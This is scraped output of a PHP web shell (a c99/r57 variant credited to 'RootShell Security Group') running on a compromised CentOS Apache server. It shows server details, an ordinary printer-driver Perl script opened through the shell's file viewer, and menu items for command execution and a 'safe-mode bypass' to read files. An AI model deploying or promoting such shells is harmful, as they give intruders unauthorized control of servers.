Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/sbin/ drwxr-xr-x |
Viewing file: foomatic-ppdload (3.47 KB) -rwxr-xr-x Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | #!/usr/bin/perl use Getopt::Std; getopts("hdR:"); help() if $opt_h; use Foomatic::PPD; use Foomatic::Defaults; my $file; my $printer; if ($opt_R) { # Remove entry $printer = $opt_R; } else { # Add entry $file = $ARGV[0]; $printer = $ARGV[1]; } if (!$opt_R) { # Add entry if (! -f "$libdir/db/source/printer/$printer.xml") { die "Printer $printer does not seem to exist in the database!\n"; } if (! -f $file) { die "The PPD file you specified, $file, does not seem to exist!\n"; } # Load the PPD my $p = new Foomatic::PPD $file, $printer; if ($opt_d) { # Parser PPD structure dump use Data::Dumper; local $Data::Dumper::Purity=1; local $Data::Dumper::Indent=1; print Dumper($p); } else { # Normal behavior, save as various option files by ID my @opts = $p->foo_options(); for (@opts) { my ($id, $xml) = ($_->{'id'}, $_->{'xml'}); my $ofile = "$libdir/db/source/opt/$id.xml"; open TMP, ">$ofile" or die "Cannot write $ofile!\n"; print STDERR "Writing $ofile\n"; print TMP join('',@{$xml}); close TMP; } # Add this printer to the ppd driver # Read the driver entry file open PPDENTRY, "< $libdir/db/source/driver/ppd.xml" or die "Cannot read $libdir/db/source/driver/ppd.xml!\n"; print STDERR "Reading $libdir/db/source/driver/ppd.xml\n"; $ppdentry = join('', |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]-- |